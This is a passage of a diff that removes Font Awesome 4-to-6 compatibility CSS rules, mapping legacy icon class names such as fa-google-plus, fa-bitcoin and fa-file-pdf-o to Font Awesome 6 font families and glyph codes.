- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-plus-square:before {
- content: "\f0d4"; }
-
-.fa.fa-google-plus {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-plus:before {
- content: "\f0d5"; }
-
-.fa.fa-money:before {
- content: "\f3d1"; }
-
-.fa.fa-unsorted:before {
- content: "\f0dc"; }
-
-.fa.fa-sort-desc:before {
- content: "\f0dd"; }
-
-.fa.fa-sort-asc:before {
- content: "\f0de"; }
-
-.fa.fa-linkedin {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-linkedin:before {
- content: "\f0e1"; }
-
-.fa.fa-rotate-left:before {
- content: "\f0e2"; }
-
-.fa.fa-legal:before {
- content: "\f0e3"; }
-
-.fa.fa-tachometer:before {
- content: "\f625"; }
-
-.fa.fa-dashboard:before {
- content: "\f625"; }
-
-.fa.fa-comment-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-comment-o:before {
- content: "\f075"; }
-
-.fa.fa-comments-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-comments-o:before {
- content: "\f086"; }
-
-.fa.fa-flash:before {
- content: "\f0e7"; }
-
-.fa.fa-clipboard:before {
- content: "\f0ea"; }
-
-.fa.fa-lightbulb-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-lightbulb-o:before {
- content: "\f0eb"; }
-
-.fa.fa-exchange:before {
- content: "\f362"; }
-
-.fa.fa-cloud-download:before {
- content: "\f0ed"; }
-
-.fa.fa-cloud-upload:before {
- content: "\f0ee"; }
-
-.fa.fa-bell-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-bell-o:before {
- content: "\f0f3"; }
-
-.fa.fa-cutlery:before {
- content: "\f2e7"; }
-
-.fa.fa-file-text-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-text-o:before {
- content: "\f15c"; }
-
-.fa.fa-building-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-building-o:before {
- content: "\f1ad"; }
-
-.fa.fa-hospital-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hospital-o:before {
- content: "\f0f8"; }
-
-.fa.fa-tablet:before {
- content: "\f3fa"; }
-
-.fa.fa-mobile:before {
- content: "\f3cd"; }
-
-.fa.fa-mobile-phone:before {
- content: "\f3cd"; }
-
-.fa.fa-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-circle-o:before {
- content: "\f111"; }
-
-.fa.fa-mail-reply:before {
- content: "\f3e5"; }
-
-.fa.fa-github-alt {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-folder-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-folder-o:before {
- content: "\f07b"; }
-
-.fa.fa-folder-open-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-folder-open-o:before {
- content: "\f07c"; }
-
-.fa.fa-smile-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-smile-o:before {
- content: "\f118"; }
-
-.fa.fa-frown-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-frown-o:before {
- content: "\f119"; }
-
-.fa.fa-meh-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-meh-o:before {
- content: "\f11a"; }
-
-.fa.fa-keyboard-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-keyboard-o:before {
- content: "\f11c"; }
-
-.fa.fa-flag-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-flag-o:before {
- content: "\f024"; }
-
-.fa.fa-mail-reply-all:before {
- content: "\f122"; }
-
-.fa.fa-star-half-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-star-half-o:before {
- content: "\f5c0"; }
-
-.fa.fa-star-half-empty {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-star-half-empty:before {
- content: "\f5c0"; }
-
-.fa.fa-star-half-full {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-star-half-full:before {
- content: "\f5c0"; }
-
-.fa.fa-code-fork:before {
- content: "\f126"; }
-
-.fa.fa-chain-broken:before {
- content: "\f127"; }
-
-.fa.fa-unlink:before {
- content: "\f127"; }
-
-.fa.fa-calendar-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-calendar-o:before {
- content: "\f133"; }
-
-.fa.fa-maxcdn {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-html5 {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-css3 {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-unlock-alt:before {
- content: "\f09c"; }
-
-.fa.fa-minus-square-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-minus-square-o:before {
- content: "\f146"; }
-
-.fa.fa-level-up:before {
- content: "\f3bf"; }
-
-.fa.fa-level-down:before {
- content: "\f3be"; }
-
-.fa.fa-pencil-square:before {
- content: "\f14b"; }
-
-.fa.fa-external-link-square:before {
- content: "\f360"; }
-
-.fa.fa-compass {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-caret-square-o-down {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-caret-square-o-down:before {
- content: "\f150"; }
-
-.fa.fa-toggle-down {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-toggle-down:before {
- content: "\f150"; }
-
-.fa.fa-caret-square-o-up {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-caret-square-o-up:before {
- content: "\f151"; }
-
-.fa.fa-toggle-up {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-toggle-up:before {
- content: "\f151"; }
-
-.fa.fa-caret-square-o-right {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-caret-square-o-right:before {
- content: "\f152"; }
-
-.fa.fa-toggle-right {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-toggle-right:before {
- content: "\f152"; }
-
-.fa.fa-eur:before {
- content: "\f153"; }
-
-.fa.fa-euro:before {
- content: "\f153"; }
-
-.fa.fa-gbp:before {
- content: "\f154"; }
-
-.fa.fa-usd:before {
- content: "\24"; }
-
-.fa.fa-dollar:before {
- content: "\24"; }
-
-.fa.fa-inr:before {
- content: "\e1bc"; }
-
-.fa.fa-rupee:before {
- content: "\e1bc"; }
-
-.fa.fa-jpy:before {
- content: "\f157"; }
-
-.fa.fa-cny:before {
- content: "\f157"; }
-
-.fa.fa-rmb:before {
- content: "\f157"; }
-
-.fa.fa-yen:before {
- content: "\f157"; }
-
-.fa.fa-rub:before {
- content: "\f158"; }
-
-.fa.fa-ruble:before {
- content: "\f158"; }
-
-.fa.fa-rouble:before {
- content: "\f158"; }
-
-.fa.fa-krw:before {
- content: "\f159"; }
-
-.fa.fa-won:before {
- content: "\f159"; }
-
-.fa.fa-btc {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bitcoin {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bitcoin:before {
- content: "\f15a"; }
-
-.fa.fa-file-text:before {
- content: "\f15c"; }
-
-.fa.fa-sort-alpha-asc:before {
- content: "\f15d"; }
-
-.fa.fa-sort-alpha-desc:before {
- content: "\f881"; }
-
-.fa.fa-sort-amount-asc:before {
- content: "\f884"; }
-
-.fa.fa-sort-amount-desc:before {
- content: "\f160"; }
-
-.fa.fa-sort-numeric-asc:before {
- content: "\f162"; }
-
-.fa.fa-sort-numeric-desc:before {
- content: "\f886"; }
-
-.fa.fa-youtube-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-youtube-square:before {
- content: "\f431"; }
-
-.fa.fa-youtube {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-xing {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-xing-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-xing-square:before {
- content: "\f169"; }
-
-.fa.fa-youtube-play {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-youtube-play:before {
- content: "\f167"; }
-
-.fa.fa-dropbox {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-stack-overflow {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-instagram {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-flickr {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-adn {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bitbucket {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bitbucket-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bitbucket-square:before {
- content: "\f171"; }
-
-.fa.fa-tumblr {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-tumblr-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-tumblr-square:before {
- content: "\f174"; }
-
-.fa.fa-long-arrow-down:before {
- content: "\f309"; }
-
-.fa.fa-long-arrow-up:before {
- content: "\f30c"; }
-
-.fa.fa-long-arrow-left:before {
- content: "\f30a"; }
-
-.fa.fa-long-arrow-right:before {
- content: "\f30b"; }
-
-.fa.fa-apple {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-windows {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-android {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-linux {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-dribbble {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-skype {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-foursquare {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-trello {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gratipay {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gittip {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gittip:before {
- content: "\f184"; }
-
-.fa.fa-sun-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-sun-o:before {
- content: "\f185"; }
-
-.fa.fa-moon-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-moon-o:before {
- content: "\f186"; }
-
-.fa.fa-vk {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-weibo {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-renren {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pagelines {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-stack-exchange {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-arrow-circle-o-right {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-arrow-circle-o-right:before {
- content: "\f35a"; }
-
-.fa.fa-arrow-circle-o-left {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-arrow-circle-o-left:before {
- content: "\f359"; }
-
-.fa.fa-caret-square-o-left {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-caret-square-o-left:before {
- content: "\f191"; }
-
-.fa.fa-toggle-left {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-toggle-left:before {
- content: "\f191"; }
-
-.fa.fa-dot-circle-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-dot-circle-o:before {
- content: "\f192"; }
-
-.fa.fa-vimeo-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-vimeo-square:before {
- content: "\f194"; }
-
-.fa.fa-try:before {
- content: "\e2bb"; }
-
-.fa.fa-turkish-lira:before {
- content: "\e2bb"; }
-
-.fa.fa-plus-square-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-plus-square-o:before {
- content: "\f0fe"; }
-
-.fa.fa-slack {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wordpress {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-openid {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-institution:before {
- content: "\f19c"; }
-
-.fa.fa-bank:before {
- content: "\f19c"; }
-
-.fa.fa-mortar-board:before {
- content: "\f19d"; }
-
-.fa.fa-yahoo {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-reddit {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-reddit-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-reddit-square:before {
- content: "\f1a2"; }
-
-.fa.fa-stumbleupon-circle {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-stumbleupon {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-delicious {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-digg {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pied-piper-pp {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-pied-piper-alt {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-drupal {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-joomla {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-behance {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-behance-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-behance-square:before {
- content: "\f1b5"; }
-
-.fa.fa-steam {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-steam-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-steam-square:before {
- content: "\f1b7"; }
-
-.fa.fa-automobile:before {
- content: "\f1b9"; }
-
-.fa.fa-cab:before {
- content: "\f1ba"; }
-
-.fa.fa-spotify {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-deviantart {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-soundcloud {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-file-pdf-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-pdf-o:before {
- content: "\f1c1"; }
-
-.fa.fa-file-word-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-word-o:before {
- content: "\f1c2"; }
-
-.fa.fa-file-excel-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-excel-o:before {
- content: "\f1c3"; }
-
-.fa.fa-file-powerpoint-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-powerpoint-o:before {
- content: "\f1c4"; }
-
-.fa.fa-file-image-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-image-o:before {
- content: "\f1c5"; }
-
-.fa.fa-file-photo-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-photo-o:before {
- content: "\f1c5"; }
-
-.fa.fa-file-picture-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-picture-o:before {
- content: "\f1c5"; }
-
-.fa.fa-file-archive-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-archive-o:before {
- content: "\f1c6"; }
-
-.fa.fa-file-zip-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-zip-o:before {
- content: "\f1c6"; }
-
-.fa.fa-file-audio-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-audio-o:before {
- content: "\f1c7"; }
-
-.fa.fa-file-sound-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-sound-o:before {
- content: "\f1c7"; }
-
-.fa.fa-file-video-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-video-o:before {
- content: "\f1c8"; }
-
-.fa.fa-file-movie-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-movie-o:before {
- content: "\f1c8"; }
-
-.fa.fa-file-code-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-file-code-o:before {
- content: "\f1c9"; }
-
-.fa.fa-vine {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-codepen {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-jsfiddle {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-life-bouy:before {
- content: "\f1cd"; }
-
-.fa.fa-life-buoy:before {
- content: "\f1cd"; }
-
-.fa.fa-life-saver:before {
- content: "\f1cd"; }
-
-.fa.fa-support:before {
- content: "\f1cd"; }
-
-.fa.fa-circle-o-notch:before {
- content: "\f1ce"; }
-
-.fa.fa-rebel {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-ra {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-ra:before {
- content: "\f1d0"; }
-
-.fa.fa-resistance {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-resistance:before {
- content: "\f1d0"; }
-
-.fa.fa-empire {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-ge {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-ge:before {
- content: "\f1d1"; }
-
-.fa.fa-git-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-git-square:before {
- content: "\f1d2"; }
-
-.fa.fa-git {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-hacker-news {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-y-combinator-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-y-combinator-square:before {
- content: "\f1d4"; }
-
-.fa.fa-yc-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-yc-square:before {
- content: "\f1d4"; }
-
-.fa.fa-tencent-weibo {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-qq {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-weixin {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wechat {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wechat:before {
- content: "\f1d7"; }
-
-.fa.fa-send:before {
- content: "\f1d8"; }
-
-.fa.fa-paper-plane-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-paper-plane-o:before {
- content: "\f1d8"; }
-
-.fa.fa-send-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-send-o:before {
- content: "\f1d8"; }
-
-.fa.fa-circle-thin {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-circle-thin:before {
- content: "\f111"; }
-
-.fa.fa-header:before {
- content: "\f1dc"; }
-
-.fa.fa-futbol-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-futbol-o:before {
- content: "\f1e3"; }
-
-.fa.fa-soccer-ball-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-soccer-ball-o:before {
- content: "\f1e3"; }
-
-.fa.fa-slideshare {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-twitch {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-yelp {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-newspaper-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-newspaper-o:before {
- content: "\f1ea"; }
-
-.fa.fa-paypal {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-google-wallet {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-visa {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-mastercard {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-discover {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-amex {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-paypal {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-stripe {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-bell-slash-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-bell-slash-o:before {
- content: "\f1f6"; }
-
-.fa.fa-trash:before {
- content: "\f2ed"; }
-
-.fa.fa-copyright {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-eyedropper:before {
- content: "\f1fb"; }
-
-.fa.fa-area-chart:before {
- content: "\f1fe"; }
-
-.fa.fa-pie-chart:before {
- content: "\f200"; }
-
-.fa.fa-line-chart:before {
- content: "\f201"; }
-
-.fa.fa-lastfm {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-lastfm-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-lastfm-square:before {
- content: "\f203"; }
-
-.fa.fa-ioxhost {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-angellist {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-cc:before {
- content: "\f20a"; }
-
-.fa.fa-ils:before {
- content: "\f20b"; }
-
-.fa.fa-shekel:before {
- content: "\f20b"; }
-
-.fa.fa-sheqel:before {
- content: "\f20b"; }
-
-.fa.fa-buysellads {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-connectdevelop {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-dashcube {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-forumbee {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-leanpub {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-sellsy {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-shirtsinbulk {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-simplybuilt {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-skyatlas {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-diamond {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-diamond:before {
- content: "\f3a5"; }
-
-.fa.fa-transgender:before {
- content: "\f224"; }
-
-.fa.fa-intersex:before {
- content: "\f224"; }
-
-.fa.fa-transgender-alt:before {
- content: "\f225"; }
-
-.fa.fa-facebook-official {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-facebook-official:before {
- content: "\f09a"; }
-
-.fa.fa-pinterest-p {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-whatsapp {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-hotel:before {
- content: "\f236"; }
-
-.fa.fa-viacoin {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-medium {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-y-combinator {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-yc {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-yc:before {
- content: "\f23b"; }
-
-.fa.fa-optin-monster {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-opencart {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-expeditedssl {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-battery-4:before {
- content: "\f240"; }
-
-.fa.fa-battery:before {
- content: "\f240"; }
-
-.fa.fa-battery-3:before {
- content: "\f241"; }
-
-.fa.fa-battery-2:before {
- content: "\f242"; }
-
-.fa.fa-battery-1:before {
- content: "\f243"; }
-
-.fa.fa-battery-0:before {
- content: "\f244"; }
-
-.fa.fa-object-group {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-object-ungroup {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-sticky-note-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-sticky-note-o:before {
- content: "\f249"; }
-
-.fa.fa-cc-jcb {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-cc-diners-club {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-clone {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hourglass-o:before {
- content: "\f254"; }
-
-.fa.fa-hourglass-1:before {
- content: "\f251"; }
-
-.fa.fa-hourglass-2:before {
- content: "\f252"; }
-
-.fa.fa-hourglass-3:before {
- content: "\f253"; }
-
-.fa.fa-hand-rock-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-rock-o:before {
- content: "\f255"; }
-
-.fa.fa-hand-grab-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-grab-o:before {
- content: "\f255"; }
-
-.fa.fa-hand-paper-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-paper-o:before {
- content: "\f256"; }
-
-.fa.fa-hand-stop-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-stop-o:before {
- content: "\f256"; }
-
-.fa.fa-hand-scissors-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-scissors-o:before {
- content: "\f257"; }
-
-.fa.fa-hand-lizard-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-lizard-o:before {
- content: "\f258"; }
-
-.fa.fa-hand-spock-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-spock-o:before {
- content: "\f259"; }
-
-.fa.fa-hand-pointer-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-pointer-o:before {
- content: "\f25a"; }
-
-.fa.fa-hand-peace-o {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-hand-peace-o:before {
- content: "\f25b"; }
-
-.fa.fa-registered {
- font-family: 'Font Awesome 6 Free';
- font-weight: 400; }
-
-.fa.fa-creative-commons {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gg {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-gg-circle {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-odnoklassniki {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-odnoklassniki-square {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-odnoklassniki-square:before {
- content: "\f264"; }
-
-.fa.fa-get-pocket {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-wikipedia-w {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
-.fa.fa-safari {
- font-family: 'Font Awesome 6 Brands';
- font-weight: 400; }
-
